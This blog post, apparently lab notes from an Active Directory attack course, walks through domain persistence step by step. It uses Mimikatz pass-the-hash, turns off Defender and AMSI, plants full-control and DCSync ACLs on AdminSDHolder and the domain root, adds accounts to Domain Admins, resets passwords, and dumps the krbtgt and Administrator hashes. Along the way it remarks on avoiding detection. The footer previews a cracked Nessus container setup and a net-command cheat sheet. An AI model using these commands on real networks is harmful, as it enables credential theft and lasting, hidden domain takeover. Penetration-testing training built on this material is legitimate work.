Skip to main content

Domain dominance Using ACL’s - AdminSDHolder, Part 7

 

Persistence using ACL's - AdminSDHolder

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-PowerView.ps1 -Session $sess

Enter-PSSession -Session $sess (PowerView will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now add full control permission for a user to the AdminSDHolder using powerview as DA:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights All -Verbose

Other interesting permissions are reset passwords and write members:

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights ResetPassword -Verbose

This allows the student1 user to reset password of other users. 

Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipleSamAccountname student1 -Rights WriteMembers -Verbose

This allows the user to add or remove a user from the group. 

To do the same using AD module:

Now from the domain admin privileged shell:

Import-Module .\ADModule-master\Microsoft.ActiveDirectory.Management.dll

Import-Module .\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

. .\Set-ADACL.ps1

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle studentadmin -Verbose

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Invoke-Command -FilePath .\Invoke-SDPropagator.ps1 -Session $sess

Enter-PSSession -Session $sess

Now you are in domain controller machine. From there run:

Invoke-SDPropagator -showProgress -timeoutMinutes 1

We can also execute the above by logging in to the dc directly. In that case we need to transfer our powerview or Ad module script in AD. As those scripts are present to the studentadmin machine so we launch the commands from studentadmin machine as DA. Later we login to dc and execute the propagator. 

Now come back to the domain admin privileged shell:

We need to check the permission is assigned perfectly or not:

. .\PowerView.ps1

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'student1'}

We can also check if student1 has dcsync rights through out the domain (The result come out as null if there is no such permission set to the user student1):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student1") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

You should see that ActiveDirectoryRights is set as Genericall which means all rights. 

We can also add our user to the domain admins group using powerview_dev tool, but it is risky because it is audited frequently:

Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose

We can do the same using AD Module:

Add-ADGroupMember -Identity 'Domain Admins' -Members testda

To view the user:

Get-ADUser -Identity testda

To view the domain admin group membership:

Get-ADGroupMember -Identity "domain admins"

Abusing reset password using powerview_dev. We can reset password of any domain admin or domain user in the domain. No need to add new user to the domain admin group:

Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose

From AD module:

Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainTest -Force) -Verbose


There are more interesting acl's that can be abused. For example with DA privilege, domain root acl can be modified to allow a user full control rights or give the appropriate rights to apply dcsync attack:

From DA privileged shell:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights All -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -Verbose

The above may get caught. So we can give a user dcsync rights. 

Add rights for dcsync:

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipleSamAccountName student1 -Rights DCSync -Verbose

Using AD module:

Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principle student1 -GUIDRight DCSync -Verbose

As your student1 user got dcsync rights and the rights is given by domain admin so now lets say after a gap of 6 month you come again and login to your student1 machine. You don't need a admin shell to run the dcsync attack. So from a non-admin shell:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\Administrator"'


Avi










Comments

Popular posts from this blog

Install Nessus from docker

The below two commands you need to run first one by one:  docker run -itd --name=ramisec_nessus -p 8834:8834 ramisec/nessus docker exec -it ramisec_nessus /bin/bash /nessus/update.sh Username: admin And you need to change the password: #Enter the command line of the docker container docker exec -it ramisec_nessus bash #Execute the following commands in sequence # Enter this directory cd /opt/nessus/sbin # List logged in users ./nessuscli lsuser # Modify the password of the specified user (take admin as an example) ./nessuscli chpasswd admin After access to the nessus, make sure you turn off the automatic updates otherwise crack will not work after some time. Before any scan you need to run the update.sh command (shown above) to have the latest plugins. Now everytime your system reboots, your docker instance will be shutdown. You need to up it again manually. Here are the commands.  1. docker ps -a    Now note down the container id. 2. docker start <container id> C

net command cheat sheet

  To see what users present in the system: net user To see local groups in the system: net localgroup To see domain groups. This should be run on a domain controller: net group To see the details of a user along with his/her group membership: net user mahim To see who are the members of a particular group (local machine): net localgroup "administrators"    (These are not case sensitive. You can use administrators or Administrators. Both will give you same result. To see who are the members of a particular group (domain machine): net group "domain admins" Create a local user: net user localuser1 MyP@ssw0rd /add Create a domain user: net user domainuser1 MyP@ssw0rd /add /domain Add the local user to local admin group: net localgroup Administrators localuser1 /add Add the user to domain admin group: net group "Domain Admins" domainuser1 /add /domain Avi